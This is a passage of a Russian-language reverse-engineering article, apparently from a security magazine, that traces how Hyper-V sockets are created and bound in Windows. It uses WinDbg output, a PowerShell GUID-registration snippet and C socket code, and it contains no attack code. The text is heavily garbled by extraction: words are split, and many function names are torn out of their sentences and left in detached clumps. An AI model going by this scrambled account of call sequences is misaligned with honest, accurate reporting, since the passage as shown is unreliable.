1c RPCRT4!COMMON_AddressChangeThreadPoolCallback+0x25
1d KERNELBASE!BasepTpIoCallback+0x50
1e ntdll!TppIopExecuteCallback+0x118
1f  ntdll!TppWorkerThread+0x8ed
20 KERNEL32!BaseThreadInitThunk+0x14
21 ntdll!RtlUserThreadStart+0x21

В  фун кции    вызыва‐ 
ется  ,  по  резуль татам  которой  про изво дит ся
перебор  про токо лов  в  таб лице  . Для  каж‐ 
дого эле мен та  таб лицы вызыва ется 

 (вто рой параметр — струк тура WSAPROTOCOL_INFOW). Раз мер каж‐ 
дого эле мен та   — 72 бай та. Но тип это го сокета —
0xafd 0.  Струк тура  _AFD_CONNECTION,  опи сыва ющая  сос тояние  такого
сокета,  до  кон ца  не  запол нена,  и  по  сме щению +e0 от  начала  раз мещения
струк туры есть толь ко нули. Что бы была воз можность под клю чать ся к сокетам
Hyper‐V, его тип дол жен быть по край ней мере 0xafd 2.

RPCRT4!TransportProtocol::HandlePnPStateChange
ws2_32!WSAEnumProtocols

rpcrt4!TransportProtocolArray
TransportProtocol::HandleProtocol‐

Change
TransportProtocolArray

В сим волах   при сутс тву ет дос таточ но мно го фун кций, работа‐ 
ющих с сокета ми Hyper‐V.

rpcrt4.dll

HVSOCKET_QueryClientID
HVSOCKET_BuildAddressVector
HVSOCKET_Open
HVSOCKET_QueryClientAddress
HVSOCKET_REsolveAddress
HVSOCKET_ResolveVmId
HVSOCKET_ServerListen
HVSOCKET_SetSocketOption

Це ли добав ления под дер жки в биб лиоте ку RPC неиз вес тны. В соот ветс твии
с MSDN  PowerShell  Direct  дол жен  работать  локаль но,  да  и  фак тичес ки  ока‐ 
зыва ется, что RPC он не исполь зует.

Воз можно, эти фун кции необ ходимы для работы сре ды в кон тей нерах Docker
либо для будущей под дер жки уда лен ной работы PowerShell Direct.

РАБОТА СОКЕТОВ HYPER-V
На MSDN    опи сыва ет  шаги,  которые  нуж но  выпол нить,
что бы соз дать свое при ложе ние для работы с сокета ми Hyper‐V. В качес тве
при мера  возь мем прос тое  при ложе ние,  най ден ное  на  прос торах  интерне та
и  демонс три рующее  работу  с  обыч ными  сокета ми,  и  модифи циру ем  его
таким обра зом, что бы оно для переда чи дан ных исполь зовало сокеты Hyper‐
V.    сос тоит  из  кли ент ской  и  сер верной  час ти;  кли ент ская  часть
переда ет сер веру текст, наб ранный в кон соли, исполь зуя для ком муника ции
сокеты Hyper‐V.

лишь  одна  стра ница

При ложе ние

В  соот ветс твии  с  MSDN  сокеты  Hyper‐V  под держи вают  сле дующие
вызовы: socket, bind, connect, send, listen, accept.

Од нако на прак тике вид но, что под держи вает ся боль шее чис ло команд.
Сер верная  часть  при ложе ния  выпол няет  socket,  bind,  listen,  accept,  recv,

closesocket.
Кли ент ская часть — socket, connect, send, recv, shutdown, closesocket.
Рас смот рим  на  при мере  реаль ного  при ложе ния,  как  же  про исхо дит

работа  с  сокета ми  Hyper‐V.  Интерфей сы  вза имо дей ствия  очень  похожи
на обыч ные сетевые сокеты, отли чают ся лишь детали реали зации.

В целом логика вза имо дей ствия (с точ ки зре ния вза имо дей ствия с ядром)
выг лядит сле дующим обра зом.

Раз берем  основные  фун кции  на  при мере  при ложе ния.  Какие‐то  отли чия
по оди нако вым вызовам отме тим по ходу раз бора, а некото рые осо бен ности
кли ент ской час ти будут отра жены далее при раз боре PowerShell Direct.

В  сокетах  Hyper‐V  нет  IP‐адре сов,  зато  есть  заранее  опре делен ные
GUID’ы.

В  нашем  слу чае  мы  возь мем  HV_GUID_PARENT.  Вто рой  GUID,  который  нам
понадо бит ся,  —  это  спе циаль но  сге нери рован ный  нами  GUID  для  сер виса
PowerShell.  Для  это го  мы  запус каем  PowerShell‐скрипт  сле дующе го  содер‐ 
жания:

$friendlyName = "HV Socket Application"
# Create a new random GUID and add it to the services list then add 
the name as a value
$service = New‐Item ‐Path "HKLM:\SOFTWARE\Microsoft\Windows NT\Curren
tVersion\Virtualization\GuestCommunicationServices" ‐Name ((New‐Guid)
.Guid)
$service.SetValue("ElementName", $friendlyName)
# Copy GUID to clipboard for later use
Write‐Host "Service GUID: " $service.PSChildName 

и запоми наем получен ный GUID. Но, в прин ципе, мож но исполь зовать сущес‐ 
тву ющие GUID’ы, которые уже соз даны на эта пе уста нов ки Windows в том же
раз деле реес тра:

HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Virtualization\
GuestCommunicationServices

VM Session Service 1 и VM Session Service 2 исполь зуют ся для работы Power‐
Shell Direct (вто рой GUID — до внед рения механиз ма Hyper‐V socket duplica‐
tion. Если в рам ках одной и той же PowerShell‐сес сии с помощью New‐PSSes‐
sion откры вает ся два соеди нения, то исполь зуют ся два GUID’а).

Ес ли попытать ся открыть три соеди нения сра зу, то встре тишь ошиб ку.

и  откро ется  все го  две  сес сии.  При  отправ ке  сооб щений  гос тевой  ОС  мы
можем уви деть оба GUID’а.

Но у нас будет все го один канал для ком муника ции, и, соот ветс твен но, необ‐ 
ходим один GUID:  .B1D00D3E‐FE10‐4570‐AD62‐7648779D7A1B

int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);

Вы зов WSAStartup про пус тим, так как он не име ет спе цифи чес ких парамет ров
для работы с сокета ми Hyper‐V, перей дем сра зу к фун кции socket.

Socket
Ка ким  обра зом  про исхо дит  запол нение  парамет ров,  пос мотри  в  исходном
коде  при ложе ния ServerExample,  а мы  перей дем  непос редс твен но  к  вызову
соот ветс тву ющей API‐фун кции.

ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_HYPERV;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = HV_PROTOCOL_RAW;
ListenSocket = socket(hints.ai_family, hints.ai_socktype, hints.
ai_protocol);

Код ском пилиру ется в сле дующее.

Из    вызыва ется  ,  из  которой  затем
вызыва ется  .

ws2_32!WSASocketA ws2_32!WSASocketW
ws2_32!DPROVIDER__Initialize

__WINDBG>dc poi(esp+4) L100 — второй параметр функции DPROVIDER::
Initialize (значение реестра Protocol_Catalog9\Catalog_Entries\000000
000001)__
0122b48c  00020026 00000000 00000000 00000000  &...............
0122b49c  00000008 1234191b 4ca74bf7 d7dfe086  ......4..K.L....
0122b4ac  45542bc3 000003e9 00000001 00000000  .+TE............
0122b4bc  00000000 00000000 00000000 00000000  ................
0122b4cc  00000000 00000000 00000002 00000022  ............"...
0122b4dc  00000024 00000024 00000001 00000001  $...$...........
0122b4ec  00000000 00000000 00000000 00000000  ................
0122b4fc  00000000 00790048 00650070 002d0072  ....H.y.p.e.r.‐.
0122b50c  00200056 00410052 00000057 00000000  V. .R.A.W.......
0122b51c  00000000 00000000 00000000 00000000  ................

Да лее видим ини циали зацию ука зате лей на вспо мога тель ные фун кции.

В целом в  usermode  выпол няет ся  дос таточ ное  количес тво опе раций,  но мы
ука жем толь ко самые важ ные.

Да лее с помощью   заг ружа ется  , затем 
  воз вра щает  адрес  фун кции  ,  пос ле  чего

выпол нение переда ется на эту фун кцию. Внут ри выпол няют ся 
, затем  ,  .

LoadLibraryEx mswsock.dll GetP‐
rocAddress mswsock!WSPStartup

mswsock_ini‐
tialize ws32SQMinit WahCreateContextTable

Пос ле завер шения про цеду ры   вызыва ется про цеду‐ 
ра    (через  call  esi),  из  которой  вызыва ется  фун кция

,  а  из  нее  ,  при  этом пер вым
парамет ром идет

mswsock!WSPStartup
mswsock!WSPSocket

mswsock!socksocket mswsock!sockGetTdiName

__WINDBG>dtx _GUID poi(esp+4)__
(*((_GUID *)0xf6f4a0)) : {1234191B‐4BF7‐4CA7‐86E0‐DFD7C32B5445} [Type
: _GUID]
__WINDBG> dc poi(esp+4)__
00f6f4a0  1234191b 4ca74bf7 d7dfe086 45542bc3  ..4..K.L.....+TE — 
GUID Hyper‐V RAW (тот, что выводит netsh)

За тем  вызыва ется  ,  которая  счи тыва ет
зна чение раз дела реес тра:

mswsock!SockLoadTransportList

SYSTEM\CurrentControlSet\Services\Winsock\Parameters\Transports

Воз вра щают ся сле дующие зна чения:

__WINDBG>dc @ebx — (в ebx указатель на блок памяти, переданный 
mswsock!SockLoadTransportList)__
01224ee0  006d0076 00750062 00000073 00730050  v.m.b.u.s...P.s.
01224ef0  00680063 00640065 00540000 00700063  c.h.e.d...T.c.p.
01224f00  00700069 00540000 00700063 00700069  i.p...T.c.p.i.p.
01224f10  00000036 abab0000 abababab feeeabab  6..............

Вы зыва ется  ,  зап рашива ется  зна чение 

,  и  заг ружа ется  биб лиоте ка 
 (при ложе ние ServerExample ском пилиро вано как 32‐бит ное).

mswsock!SockLoadHelperDll HKLM\
System\CurrentControlSet\Services\vmbus\Parameters\Winsock\
HelperDllName C:\Windows\SysWoW64\wshhy‐
perv.dll

При  воз вра те  из    воз вра щает ся
,  которая  содер жит  толь ко  про вер ки  пра виль‐ 

нос ти переда чи парамет ров сокета.

mswsock!SockGetTdiName
wshhyperv!WSHOpenSocket2

Да лее  пос ледова тель но    и  затем
.  Можем  уви деть,  что  в  качес тве 

 переда ется 0x1D:

GetCurrentProcess\OpenProcessToken
GetTokenInformation _TOKEN_INFORMA‐
TION_CLASS

__WINDBG>dt _TOKEN_INFORMATION_CLASS @esp+8__
combase!_TOKEN_INFORMATION_CLASS
1d ( TokenIsAppContainer ) — похоже на адаптацию сокетов для 
приложений, скомпилированных с опцией \APPCONTAINER

Пос ле это го резуль тат  записы вает ся  в  перемен ную mswsock!SockIsAppCon‐
tainter.  Вид на  ини циали зация  стро ки  \Device\Afd\Endpoint,  которая  переда‐ 
ется  .ntdll!NtCreateFile

__WINDBG>dtx OBJECT_ATTRIBUTES poi(@esp+0x8) (третий параметр ntdll!
NtCreateFile)__
(*((OBJECT_ATTRIBUTES *)0xf6f348)) [Type: OBJECT_ATTRIBUTES]
   [+0x000] Length           : 0x18 [Type: unsigned long]
   [+0x004] RootDirectory    : 0x0 [Type: void *]
   [+0x008] ObjectName       : 0xf6f33c : "\Device\Afd\Endpoint" [
Type: _UNICODE_STRING *]
   [+0x00c] Attributes       : 0x42 [Type: unsigned long]
   [+0x010] SecurityDescriptor : 0x0 [Type: void *]
   [+0x014] SecurityQualityOfService : 0x0 [Type: void *]
__WINDBG>dtx _IO_STATUS_BLOCK @esp+0xc ‐r (четвертый параметр ntdll!
NtCreateFile)__
(*((_IO_STATUS_BLOCK *)0xf6f30c)) [Type: _IO_STATUS_BLOCK] — 
неинициализированная структура
   [+0x000] Status           : 16184168 [Type: long]
   [+0x000] Pointer          : 0xf6f368 [Type: void *]
   [+0x004] Information      : 0x0 [Type: unsigned long] — после 
выполнения будет возвращен статус операции (FILE_CREATED, FILE_OPENED
, FILE_OVERWRITTEN, FILE_SUPERSEDED, FILE_EXISTS, FILE_DOES_NOT_EXIST
)

Да лее выпол нение перехо дит в ядро драй вера  . При ини циали зации
этот драй вер регис три рует обра бот чики IRP:

afd.sys

__WINDBG>!drvobj afd 2__
Driver object (ffffda8527de19c0) is for:
\Driver\AFD

DriverEntry:   fffff803db38a000 afd!GsDriverEntry
DriverStartIo: 00000000
DriverUnload:  fffff803db34c380 afd!AfdUnload
AddDevice:     00000000
Dispatch routines:
[00] IRP_MJ_CREATE                      fffff803db357e90    afd!
AfdDispatch
[01] IRP_MJ_CREATE_NAMED_PIPE           fffff803db357e90    afd!
AfdDispatch
[02] IRP_MJ_CLOSE                       fffff803db357e90    afd!
AfdDispatch
[03] IRP_MJ_READ                        fffff803db357e90    afd!
AfdDispatch
[04] IRP_MJ_WRITE                       fffff803db357e90    afd!
AfdDispatch
__WINDBG>kn__
Child‐SP RetAddr Call Site
00  afd!AfdDispatch
01  nt!IopParseDevice+0x1655
02  nt!ObpLookupObjectName+0x8b2
03  nt!ObOpenObjectByNameEx+0x1dd
04  nt!IopCreateFile+0x3d9
05  nt!NtCreateFile+0x79
06  nt!KiSystemServiceCopyEnd+0x13
07  ntdll!NtCreateFile+0x14

Со ответс твен но, пос ле вызова   попадем в 
. Пер вый параметр обра бот чика:

ntdll!NtCreateFile Afd!AfdDis‐
patch

__WINDBG>!devobj @rcx__
Device object (ffffda8527de29d0) is for:
Afd \Driver\AFD DriverObject ffffda8527de19c0
Current Irp 00000000 RefCount 79 Type 00000011 Flags 00000050
Dacl ffffcb8a7e8ccd11 DevExt 00000000 DevObjExt ffffda8527de2b20 
ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
Characteristics (0x00020000) FILE_DEVICE_ALLOW_APPCONTAINER_TRAVERSAL
Device queue is not busy.
__WINDBG>!devstack ffffda8527de29d0 — в стеке только одно устройство
__
 !DevObj           !DrvObj            !DevExt           ObjectName

> ffffda8527de29d0  \Driver\AFD        00000000  Afd

Вто рой параметр Afd!AfdDispatch — это IRP.

__WINDBG>!irp @rdx__
Irp is active with 4 stacks 4 is current (= 0xffffda8529720378)
No Mdl: System buffer=ffffda8527088910: Thread ffffda8528714080: Irp 
stack trace. 
cmd flg cl Device File Completion‐Context
>[IRP_MJ_CREATE(0), N/A(0)]
0 0 ffffda8527de29d0 ffffda8528bc3550 00000000‐00000000 
\Driver\AFD
Args: ffff908026e7b5d0 03000020 00030000 00000039

Мо жем убе дить ся, что пакет отправ лен при ложе нием:

__WINDBG>!thread ffffda8528714080__
THREAD ffffda8528714080 Cid 0f74.0ca8 Teb: 0000000000ddf000 Win32T
hread: ffffda85272b94e0 RUNNING on processor 0
IRP List:
ffffda85297201d0: (0006,0310) Flags: 00000884 Mdl: 00000000
Not impersonating
DeviceMap ffffca89863843b0
Owning Process ffffda8527121080 Image: ServerExample.exe
Attached Process N/A Image: N/A
Wait Start TickCount 416475 Ticks: 1 (0:00:00:00.015)
Context Switch Count 3006 IdealProcessor: 0

Да лее вызыва ется Afd!AfdCreate. Пер вый параметр — все тот же IRP. Далее —
.Afd!AfdCheckTDIFilter

__WINDBG>r — параметры Afd!AfdCheckTDIFilter__
rcx=0000000000000001
rdx=0000000000000022 (Address Family ‐ AF_HYPERV)
r8=0000000000000001 
r9=0000000000000000

В  ней  про изво дит ся  поиск  семей ства  адре сов  AF_HYPERV,  который  был
передан  в  качес тве  парамет ра,  в  струк туре    (шесть  эле мен‐ 
тов, раз мер эле мен та 20h байт). Струк тура содер жит ссыл ки на стан дар тные
сетевые устрой ства Windows:

AfdTdiMapping

\\Device\\Tcp
\\Device\\Tcp6
\\Device\\Udp
\\Device\\Udp6
\\Device\\RawIp
\\Device\\RawIp6

Ни  одно  из  этих  устрой ств  не  исполь зует ся  для  AF_HYPERV.  Воз вра щает ся
ука затель на струк туру  . Далее —  ,
из которой вызыва ется  .

AfdTdiMapping Afd!AfdAllocateEndpoint
Afd!AfdTlFindAndReferenceTransport

rcx=0000000000000022 (Address Family ‐ AF_HYPERV)
rdx=000000000000001
r8=0000000000000001 
r9=0000000000000001

В  этой  фун кции  идет  работа  со  струк турой  .  Она
содер жит свя зан ный спи сок ука зате лей на объ екты тран спор тов, инс трук цией

  про исхо дит  заг рузка  сле дующе го  эле мен та,  и  выпол няет ся
срав нение семей ства адре сов AF_HYPERV (0x22) с [rbx+16h]; если сов падет,
то фун кция вер нет адрес струк туры:

AfdTlTransportListHead

mov  rbx,[rbx]

__WINDBG>dps @rax__
ffffda85`27f6b8c0  fffff803`db337530 afd!AfdTlTransportListHead
ffffda85`27f6b8c8  ffffda85`27dfeca0
ffffda85`27f6b8d0  00220000`00000006
ffffda85`27f6b8d8  00000001`00000001
ffffda85`27f6b8e0  ffffda85`27f6ba80
ffffda85`27f6b8e8  fffff803`db95c000 hvsocket!VmbusTlProviderDispatch
ffffda85`27f6b8f0  11d49b1a`eb004a27
ffffda85`27f6b8f8  bc597704`50002391
ffffda85`27f6b900  ffffda85`27f6b96c
ffffda85`27f6b908  00000000`00000000
ffffda85`27f6b910  62524d4e`02080006
ffffda85`27f6b918  8ab20db4`3a180386
__WINDBG>dt _GUID @rax+30h — содержит GUID NPI_MS_VMBUS_MODULEID__
ServerExample!_GUID
{eb004a27‐9b1a‐11d4‐9123‐0050047759bc} 

Да лее  вызыва ется    (выделе ние  необ‐ 
ходимой  памяти),  пос ле  запол нения  необ ходимых  струк тур  вызыва ется

.  Затем  вызыва ется  ,
при этом в rcx заг ружа ется ука затель на про цесс (ServerExample.exe).

afd!PplGenericAllocationFunction

nt!NtAllocatePoolEx nt!ObjDerefernceObject

__WINDBG>!object @rcx__
Object: ffffda8527121080 Type: (ffffda8527096f20) Process
ObjectHeader: ffffda8527121050 (new version)
HandleCount: 8 PointerCount: 207781

Да лее  уве личи вает ся  на  еди ницу  гло баль ная  перемен ная 
. На момент отладки

AfdEndpoints‐
Opened

__WINDBG>dd afd!AfdEndpointsOpened L4__
fffff803`db3378e8  000009af 00000000 00000000 00000000

Продолжение статьи →

https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/user-guide/make-integration-service
https://github.com/gerhart01/HyperV-sockets
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ИССЛЕДУЕМ ВНУТРЕННИЕ
МЕХАНИЗМЫ РАБОТЫ СОКЕТОВ

HYPER‐V

КОДИНГ  НАЧАЛО СТАТЬИ←

Идет про вер ка  , не пус тая ли она.AfdEndpointListHead

За тем в эту струк туру встав ляет ся новый эле мент

,  как  мы  видели  ранее,  содер жит  соз данные  объ екты
сокетов.
AfdEndpointListHead

В прин ципе, основная фун кция afd!AfdAllocateEndpoint зак люча ется в соз‐ 
дании нового эле мен та типа _AFD_CONNECTION и его добав лении в мас сив
AfdEndpointListHead. Затем меня ется сос тояние сокета (записы вает ся 0AFD).

Кон стан ты AFD, AFD 1, AFD 2, AFD 4, AFD 8, AAFD и подоб ные слу жат инди като‐ 
рами сос тояния соеди нения. Но похоже, что пол ного соот ветс твия с RFC 793,
где опи сыва ются воз можные сос тояния сокетов (LISTEN, SYN‐SENT, SYN‐RE‐
CEIVED, ESTABLISHED, FIN‐WAIT‐1, FIN‐WAIT‐2, CLOSE‐WAIT, CLOSING, LAST‐
ACK, TIME‐WAIT), нет. Так же байт сле ва от кон стан ты меня ется в зависи мос ти
от типа вызова 0001afd 0. Нап ример, пос ле вызова bind его зна чение ста нет
рав но трем.

__WINDBG>dc @rdi — указатель на структуру _AFD_CONNECTION__
ffffda85`2943e9e0 0001afd0 00000000 00000100 00000000 ...............
.
ffffda85`2943e9f0 00000000 00000000 00000000 00000000 ...............
.
ffffda85`2943ea00 00000000 00000000 27121080 ffffda85 ...........'...
.

Да лее  вызыва ется  ,  затемhvsocket!VmbusTlEndpointIsPrivileged
afd!AfdTLCreateEndpoint

__WINDBG>r__
rcx= ffffda852943e9e0 — указатель на объект _AFD_CONNECTION, с 
которым производится работа
rdx=0000000000000022 — Address Family
r8=0000000000000001 — Hyper‐V RAW
r9=ffffda8527f6b8c0 — указатель на один из элементов AfdTlTransportL
istHead

В этой фун кции в сте ке обну ляют ся 50h байт и затем раз меща ются парамет‐ 
ры для вызыва емой фун кции  :hvsocket!VmbusTlProviderEndpoint

__WINDBG>dps @rsp+20__
ffff9080`26e7b250  fffff803`db362930 afd!AfdTLCreateEndpointComplete
ffff9080`26e7b258  ffffda85`297201d0 — IRP
ffff9080`26e7b260  00000000`00000000
ffff9080`26e7b268  00000001`00010022
ffff9080`26e7b270  ffffda85`2943e9e0 — указатель на _AFD_CONNECTION 
struct
ffff9080`26e7b278  ffffda85`27121080 — Process Object (it not really 
need. In hvsocket if it eq zero driver calls PsGetCurrentProcess) 
ffff9080`26e7b280  ffffda85`28714080 — pointer to THREAD structure of
ServerExmple.exe process (if it zero later will be called ndis!

NdisGetProcessObjectCompartmentId before in rcx load Process struct)
ffff9080`26e7b288  ffffca89`8568e280
ffff9080`26e7b290  00000000`00000000
ffff9080`26e7b298  00000000`00000000

За тем в  rax заг ружа ется ука затель на  ,
в r14 наш IRP:

hvsocket!VmBusTlProviderEndpoint

__WINDBG>!irp @r14__
Irp is active with 4 stacks 4 is current (= 0xffffdf08c0c5b408)
>[IRP_MJ_CREATE(0), N/A(0)]
           0  0 ffffdf08bf161920 ffffdf08c0eb5780 00000000‐00000000
   
          \Driver\AFD
           Args: ffffa700e57f35d0 03000020 00030000 00000039

Вы пол няет ся  вызов  этой  фун кции.  Выпол няют ся  про вер ки  струк туры,
передан ной  в  rax,  затем  для  объ екта  ETHREAD  вызыва ется 

,  затем    (вто‐ 
рой параметр — ука затель на объ ект EPROCESS), далее 

,  в  которой  вызыва ется
nt!ExpInterlockedPopEntrySList.

ndis!NdisGet‐
ThreadObjectCompartmentId vmbus!VmbusTlCreateEndpoint

hvsocket!VmbusTl‐
CreateObjectFromLookasideList

За тем    (вызыва ет 
  и  ).  Про исхо дит  воз врат

из  ,  выделя ется  блок
памяти  раз мером  200h,  тег  Vnpi.  Далее  обну ляет ся  блок  памяти  раз‐ 
мером  38h,  вызыва ются    и 

  и  выпол няет ся  регис тра ция 
 через  .

hvsocket!VmbusTlInitializeObject nt!KeInitial‐
izeEvent nt!KeInitializeSpinLock

hvsocket!VmbusTlCreateObjectFromLookasideList

nt!KeEnterCriticalRegion nt!ExAcquireFast‐
MutexUnsafe hvsocket!VmbusTlEndpointAc‐
tionWorkQueueRoutine netio!NetioInitializeWorkQueue

Пос ле  про исхо дит  воз врат  из  ,  затем
вызыва ется  ,  чет вертый
параметр —  , в струк туру 

  записы вает ся  адрес  . Затем
вызыва ется  ,  идет  про вер ка
успешно го резуль тата — в зависи мос ти от это го либо выпол няет ся 

, либо нет, — и про исхо дит воз врат из   в 
.

vmbus!VmbusTlCreateEndpoint
afd!AfdTLCreateEndpointComplete(PIRP  IRP)
vmbus!VmbusTlProviderEndpointDispatch _AFD_‐

CONNECTION hvsocket!VmbusTlCreateEndpoint
afd!ObDereferenceSecurityDescriptor

nt!iof‐
CompleteRequest hvsocket.sys afd.
sys

Зна чение,  воз вра щен ное  ,  —  103h.
Поэто му  далее  вызыва ется  ,  если  резуль тат  выпол нения
не 103h, но сра зу будет вызов  , и толь ко пос‐ 
ле  это го  идет    и  .
Про исхо дит воз врат из   (в rax все тот же 103h).

vmbus!VmbusTlProviderEndpoint
AfdTLPendRequest
afd!AfdCompleteTLEndpCreate

afd!AfdCompleteTLEndpCreate nt!IofComplheteRequest
afd!AfdCreate

__WINDBG>dc 0xf6f368 — после выполнения NtCreateFile__
00f6f368  00000000 00000000 00f6f498 00000003  ................
00f6f378  00000144 00000000 00000000 00000022  D..........."...
00f6f388  00000000 00000144 c0140000 00000020  ....D....... ...
00f6f398  80000000 00000001 00000039 00000022  ........9..."...

0x144  —  это  тот  самый  handle,  который  в  конеч ном  ито ге  вер нет  фун кция
socket и который будет передан фун кции bind в качес тве пер вого парамет ра.
Этот  handle  соз дает ся  с  помощью  фун кции  ,  вызыва‐ 
емой  из  фун кции    (ранее  при  выпол нении
NtCreateFile):

nt!ObpCreateHandle
nt!ObOpenObjectByNameEx

__WINDBG>k__
Child‐SP          RetAddr           Call Site
ffffd201`d9b6e820 fffff801`a72630e9 nt!ObOpenObjectByNameEx+0x310
ffffd201`d9b6e960 fffff801`a7262cf9 nt!IopCreateFile+0x3d9
ffffd201`d9b6ea00 fffff801`a6fd4493 nt!NtCreateFile+0x79
ffffd201`d9b6ea90 00007ff9`e3f46b74 nt!KiSystemServiceCopyEnd+0x13
00000000`00e3e0a8 00000000`58f9ae28 ntdll!NtCreateFile+0x14

До выпол нения фун кции в спис ке объ ектов:

__!handle 0  f ffffda8527121080__
013c: Object: ffffca8986a9e3d0 GrantedAccess: 00020019 (Inherit) 
Entry: ffffca8985cb14f0
Object: ffffca8986a9e3d0 Type: (ffffda852717d0e0) Key
ObjectHeader: ffffca8986a9e3a0 (new version)
HandleCount: 1 PointerCount: 32759
Directory Object: 00000000 Name: \REGISTRY\MACHINE\SYSTEM\SYSTEM\
CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5
0140: Object: ffffda85299be6f0 GrantedAccess: 001f0003 (Audit) Entry:
ffffca8985cb1500

Object: ffffda85299be6f0 Type: (ffffda8527087650) Event
ObjectHeader: ffffda85299be6c0 (new version)
HandleCount: 1 PointerCount: 1
0144: free handle, Entry address ffffca8985cb1510, Next Entry ffffca
8985cb1520
0148: free handle, Entry address ffffca8985cb1520, Next Entry ffffca
8985cb1530

Пос ле выпол нения фун кции появ ляет ся новая запись:

__!handle 0 f 0xffffe382ff528480 — ServerExample.exe process object__
0144: Object: ffffda8529a9bcf0  GrantedAccess: 0016019f (Audit) Entry
: ffffca8985cb1510
Object: ffffda8529a9bcf0  Type: (ffffda852718cb00) File
   ObjectHeader: ffffda8529a9bcc0 (new version)
       HandleCount: 1 PointerCount: 2
       Directory Object: 00000000  Name: \Endpoint {Afd}
0148: free handle, Entry address ffffca8985cb1520, Next Entry ffffca
8985cb1530

Инс трук цией   в rax кла дет ся зна чение дес крип тора.mov rax, [rpb‐58h]
Воз вра щаем ся в usermode. Далее идет вызов 
  (из  нее  про исхо дит  вызов  ,  которой

в качес тве handle фай ла переда ется воз вра щен ный ранее 0x144).

mswsock!SockGetInforma‐
tion ntdll!NtDeviceIoControlFile

NTSTATUS WINAPI NtDeviceIoControlFile(
 _In_  HANDLE           FileHandle, ‐ 144 (\Device\Afd\Endpoint). На
клиенте будет \Device\Afd
 _In_  HANDLE           Event, ‐ 140 (Event)
 _In_  PIO_APC_ROUTINE  ApcRoutine, 0
 _In_  PVOID            ApcContext, 0
 _Out_ PIO_STATUS_BLOCK IoStatusBlock, F6F2E0
 _In_  ULONG            IoControlCode, 1207B ‐ AfdDispatchImme

diateIrp ()
 _In_  PVOID            InputBuffer, F6F2FC
 _In_  ULONG            InputBufferLength,10
 _Out_ PVOID            OutputBuffer, F6F2FC
 _In_  ULONG            OutputBufferLength 10

);

Input buffer:

__WINDBG>dc F6F2FC__
00f6f2fc  00000007 00f6f38c c0140000 00f6f348  ............H...

IOCTL‐код  —  1207Bh  ( ),  но  она  не  выпол‐ 
нится, так как задей ство ван механизм FastIO (под робнос ти далее на при мере
send),  выпол нится  ,  при  этом  IRP‐пакет
не фор миру ется, usermode‐буфер и его дли на переда ются как тре тий и чет‐ 
вертый параметр этой фун кции:

afd!AfdDispatchImmediateIrp

afd!AfdFastIoDeviceControl

   __WINDBG>r__
   rcx — объект \Endpoint {Afd}
   r8=0000000000f6f2fc  
   r9=0000000000000010

Пос ле выпол нения фун кции (резуль тат записы вает ся в тот же буфер):

   __WINDBG>dc F6F2FC__
   00f6f2fc  00000007 00000000 00010000 00000000  ................

Да лее  фун кция    вызыва ется  пов торно,  в  in‐
put‐буфере  дан ные,  которые  были  воз вра щены  пос ле  пре дыду щего  выпол‐ 
нения.  Но  пос ле  пов тора  резуль тат  не  изме нил ся.  Если  бы  фун кция  вер‐ 
нула  103h,  то  выз валась  бы  ,  затем

,  далее  выход  из 
и  воз врат  в  .  Вход  в  .
Далее вызыва ется  , затем 

 с IOCTL 12047h ( ).

ntdll!NtDeviceIoControlFile

mswsock!SockWaitForSingleObject
ws2_32!WahInsertHandleContext mswsock!SockSocket

mswsock!WSPSocket mswsock!SockSetHandleContext
wshhyperv!WSHGetSocketInformation nt!NtDevi‐

ceIoControlFile AfdDispatchImmediateIrp
В качес тве input‐буфера переда ется (раз мер буфера — D4):

__WINDBG>dc 006FED58 006FED58+D4__
00f6f358  00000000 00000022 00000001 00000001  ...."...........
00f6f368  00000024 00000024 00000000 00000000  $...$...........
00f6f378  00000000 00010000 00010000 00001000  ................
00f6f388  00000000 000003e9 00020026 00000008  ........&.......
00f6f398  00000000 00000000 00000000 00000000  ................
00f6f3a8  00000000 00000000 00000000 00000000  ................
00f6f3b8  00000000 00000000 1234191b 4ca74bf7  ..........4..K.L
00f6f3c8  d7dfe086 45542bc3 00000004 656b6361  .....+TE....acke
00f6f3d8  00000000 00000000 00000000 00000000  ................
00f6f3e8  00000000 00000000 00000000 00000000  ................
00f6f3f8  00000000 012247f0 00000000 00000000  .....G".........
00f6f408  00000000 00000000 00000000 00000000  ................
00f6f418  00000000 00000000 00000000 d2ffd7d3  ................
00f6f428  00000022

Воз вра щает ся (изме нений пос ле выпол нения не про изош ло):

__WINDBG>dc 00F6F400 00F6F400+24__
00f6f400  00000000 00000000 00000000 00000000  ................
00f6f410  00000000 00000000 00000000 00000000  ................
00f6f420  00000000 d2ffd7d3                   ........

От туда идет вызов   (вызыва ется 
,  идет  работа  с  мас сивом  ).  Выход

из  . Воз врат в при ложе ние.

ws2_32!WPUModifyIFSHandle ws2_32!WahIn‐
sertHandleContext ws2_32!SockPrimes

mswsock!SockSetHandleContext

Bind
Фун кция socket завер шилась успешно, даль ше выпол няет ся bind:

iResult = bind(ListenSocket, hints.ai_addr, (int)hints.ai_addrlen);

Даль ше  usermode  так  под робно,  как  для  socket,  раз бирать  мы  не  будем,
отме тим толь ко те момен ты, которые спе цифич ны имен но для сокетов Hyper‐
V.  Вызыва ется  ,  далее 

  (HANDLE socket, PVOID SockContextTable). Адрес про цеду ры, содер‐ 
жащий ся  в  ebx,  срав нива ется  с  адре сом  начала  mswsock_Tcpip 4_WSHGet‐
SockaddrType  либо  mswsock_Tcpip 6_WSHGetSockaddrType.  Если  адрес  сов‐ 
пада ет, то вызыва ется соот ветс тву ющая про цеду ра, если нет, то выпол няет ся

 (в нашем слу чае  ).

mswsock!WSPbind mswsock!WahReferenceContextBy‐
Handle

call ebx wshhyperv!WSHGetSockaddrType

Тип  сокета  вычис ляет ся  на  осно вании  GUID’а,  задан ного  во  вре мя  выпол‐ 
нения bind (у нас задан HV_GUID_ZERO).

На сер вере в esi:

__WINDBG>dc @esi__
00f6f990  00000022 00000000 00000000 00000000  "............... — 
HV_GUID_ZERO
00f6f9a0  00000000 b1d00d3e 4570fe10 487662ad  ....>.....pE.bvH
00f6f9b0  1b7a9d77

На кли енте:

